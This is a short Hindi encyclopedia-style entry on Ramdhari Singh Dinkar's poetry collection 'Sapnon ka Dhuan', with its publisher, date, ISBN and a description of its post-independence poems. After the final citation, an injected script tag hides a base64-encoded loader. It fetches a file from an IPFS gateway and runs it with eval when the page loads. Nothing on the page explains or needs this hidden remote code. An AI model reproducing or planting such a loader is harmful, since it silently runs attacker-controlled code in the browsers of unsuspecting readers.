सपनों का धुआँ -रामधारी सिंह दिनकर

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सपनों का धुआँ -रामधारी सिंह दिनकर
'सपनों का धुआँ' रचना का आवरण पृष्ठ
कवि रामधारी सिंह दिनकर
मूल शीर्षक सपनों का धुआँ
प्रकाशक लोकभारती प्रकाशन
प्रकाशन तिथि 1 जनवरी, 2008
ISBN 978-81-8031-333
देश भारत
भाषा हिंदी
प्रकार काव्य संग्रह
मुखपृष्ठ रचना सजिल्द
टिप्पणी इस संग्रह में दिनकर जी की उन कविताओं को संकलित किया गया है जिनमें समकालीन स्थितियों के प्रति उनकी भावनात्मक प्रतिक्रिया सशक्त रूप में प्रस्फुटित हुई है।

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सपनों का धुआँ राष्ट्रकवि रामधारी सिंह दिनकर की आज़ादी के बाद लिखी गईं कविताओं का संग्रह है। इस संग्रह में दिनकर जी की उन कविताओं को संकलित किया गया है जिनमें समकालीन स्थितियों के प्रति उनकी भावनात्मक प्रतिक्रिया सशक्त रूप में प्रस्फुटित हुई है। इस पुस्तक में जहाँ एक तरफ स्वराज से फूटनेवाली आशा की धूप और उसके विरुद्ध जन्मे हुए असन्तोष का धुआँ कविताओं में प्रतिबिम्ब होता है वहीं, दूसरी ओर एक विदुषी को लिखा गया कवि का गीत-पुंज भी है जो कवि के गहन चिन्तन के दस्तावेज के रूप में हमारे सामने आता है। मन-मस्तिष्क को उद्वेलित करने वाली ये कविताएँ सभी पाठकों के लिए उपादेय हैं।[1]



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टीका टिप्पणी और संदर्भ

  1. सपनों का धुआँ (हिंदी) भारतीय साहित्य संग्रह। अभिगमन तिथि: 26 सितम्बर, 2013।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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